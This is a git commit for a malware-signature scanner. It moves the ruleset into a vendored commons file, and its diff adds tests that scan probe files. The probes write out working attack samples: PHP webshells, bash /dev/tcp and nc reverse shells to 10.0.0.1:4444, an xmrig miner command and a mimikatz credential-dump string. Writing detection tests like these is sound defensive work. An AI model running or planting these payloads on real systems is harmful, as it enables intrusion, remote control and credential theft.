refactor(llm-security): build the SIG ruleset from vendored commons (malware-signatures 0.1.0)

Fifth and last consumer swap of v8 Phase 5 step 4. The seven known-bad-identity
signatures stop living in knowledge/signatures.json and are built from the
vendored commons artifact signatures/malware-signatures.json instead.

Measured before the swap over all seven positions -- id, family, severity,
pattern, description, provenance, key order, and recompilation identity under
the engine's unconditional `i` flag: zero divergences over 56 checks, in order.
The commons copy was extracted from this repository's own file at b0de0ca and
had not drifted.

knowledge/signatures.json is REMOVED rather than left in place. Keeping it would
have left two files spelling one table with nothing gating the drift, and its
golden `file:` pin would have gone on passing while pinning bytes no scanner
reads -- a gate reporting success without running. The pin is replaced by a
walked-module anchor over SIGNATURE_RULES, which is strictly stronger: the pin
covered the bytes on disk, the walk covers what `new RegExp` made of them.
Golden diff was exactly that and nothing else: 7 ADDED, 1 REMOVED, 0 CHANGED
(102/7/5 -> 109/7/4), each added source verified equal to the recompiled commons
pattern.

compileRules() moves into the new lib module and is exported, so the built-in
ruleset and the operator's sig.custom_rules_path path keep one implementation
rather than two copies of the defaulting logic.

Coverage by construction, not by memory: the probe table in the scanner test is
asserted against the LOADED ruleset, so a rule commons adds cannot arrive
without an end-to-end probe. Mutation of the vendored JSON fires in three
directions -- under-match (xmrig alternative dropped) reddens two scanner tests
plus golden; over-match (webshell rule widened to a bare `shell`) reddens the
clean-fixture false-positive probe plus golden; reorder reddens the declared-
order test plus golden.

Loud failure is contract: an unresolvable commons writes one line to stderr
rather than silently disabling known-malware detection, and never throws.

Suite 2247 / 2241 pass / 6 skipped / 0 fail. suite-counts.json untouched.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0151x4FVg9Mn55C2LvHLpHKo
This commit is contained in:
Kjell Tore Guttormsen 2026-08-13 21:28:14 +02:00
commit bbada84e9f
12 changed files with 480 additions and 132 deletions

View file

@ -8,7 +8,7 @@ import { describe, it, beforeEach } from 'node:test';
import assert from 'node:assert/strict';
import { resolve, join } from 'node:path';
import { fileURLToPath } from 'node:url';
import { mkdtempSync, mkdirSync, writeFileSync, rmSync, readFileSync } from 'node:fs';
import { mkdtempSync, mkdirSync, writeFileSync, rmSync, readFileSync, existsSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { resetCounter } from '../../scanners/lib/output.mjs';
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
@ -286,3 +286,90 @@ describe('signature-scanner: family disable', () => {
}
});
});
// ---------------------------------------------------------------------------
// Provenance + probe coverage — v8 Phase 5 step 4, fifth consumer swap
//
// The ruleset moved from knowledge/signatures.json to the vendored commons
// artifact signatures/malware-signatures.json. Two things are asserted here
// that neither the golden gate nor tests/lib/malware-signatures.test.mjs can
// see:
//
// 1. That the move actually happened, measured through the real entry point
// rather than by reading the scanner's import list. The old file is gone,
// so a scanner still finding webshells can only be reading commons.
// 2. That every rule commons publishes is exercised end-to-end. Coverage by
// CONSTRUCTION, not by memory: the probe table is asserted against the
// LOADED ruleset, so a rule commons adds cannot arrive without a probe,
// and a probe cannot rot against a rule that was removed.
// ---------------------------------------------------------------------------
describe('signature-scanner: ruleset provenance', () => {
it('no longer ships knowledge/signatures.json', () => {
const retired = resolve(__dirname, '../../knowledge/signatures.json');
assert.equal(
existsSync(retired), false,
'knowledge/signatures.json is back — two sources for one table is the drift the swap removed',
);
});
it('still flags a webshell with the old ruleset file gone', async () => {
// The independent anchor. Comparing the scanner against the JSON it reads
// would be tautological; this cannot pass unless commons resolved.
const dir = mkdtempSync(join(tmpdir(), 'sig-provenance-'));
try {
writeFileSync(join(dir, 'shell.php'), "<?php @eval($_POST['cmd']); ?>\n");
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
assert.ok(
result.findings.some(f => /SIG-WEBSHELL-001/.test(f.evidence || '')),
`expected SIG-WEBSHELL-001 from the commons ruleset, got: ${result.findings.map(f => f.evidence).join('; ')}`,
);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
});
describe('signature-scanner: every published rule fires end-to-end', () => {
// One payload per rule id. Filenames avoid the excluded knowledge/tests/docs
// path segments; the payloads are the shapes each rule is named for.
const PROBES = {
'SIG-WEBSHELL-001': ['probe-webshell-1.php', "<?php @eval($_POST['cmd']); ?>\n"],
'SIG-WEBSHELL-002': ['probe-webshell-2.php', "<?php $_GET['fn']('id'); ?>\n"],
'SIG-REVSHELL-001': ['probe-revshell-1.sh', '#!/bin/sh\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n'],
'SIG-REVSHELL-002': ['probe-revshell-2.sh', '#!/bin/sh\nnc -e /bin/sh 10.0.0.1 4444\n'],
'SIG-MINER-001': ['probe-miner-1.txt', 'pool = stratum+tcp://pool.example.org:3333\n'],
'SIG-MINER-002': ['probe-miner-2.txt', './xmrig --donate-level 1\n'],
'SIG-HACKTOOL-001': ['probe-hacktool-1.txt', 'sekurlsa::logonpasswords via mimikatz\n'],
};
it('has a probe for every rule the commons ruleset publishes', async () => {
// Without this, a rule added upstream would arrive with no end-to-end
// coverage and the suite would stay green about it.
const { SIGNATURE_RULES } = await import('../../scanners/lib/malware-signatures.mjs');
assert.deepEqual(
SIGNATURE_RULES.map(r => r.id).sort(),
Object.keys(PROBES).sort(),
'probe table and published ruleset have diverged',
);
});
it('flags each probe through the real scan() entry point', async () => {
const dir = mkdtempSync(join(tmpdir(), 'sig-probes-'));
try {
for (const [file, content] of Object.values(PROBES)) {
writeFileSync(join(dir, file), content);
}
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
const evidence = result.findings.map(f => f.evidence || '').join('\n');
const missed = Object.keys(PROBES).filter(id => !new RegExp(id).test(evidence));
assert.deepEqual(missed, [], `rules with no end-to-end hit: ${missed.join(', ')}`);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
});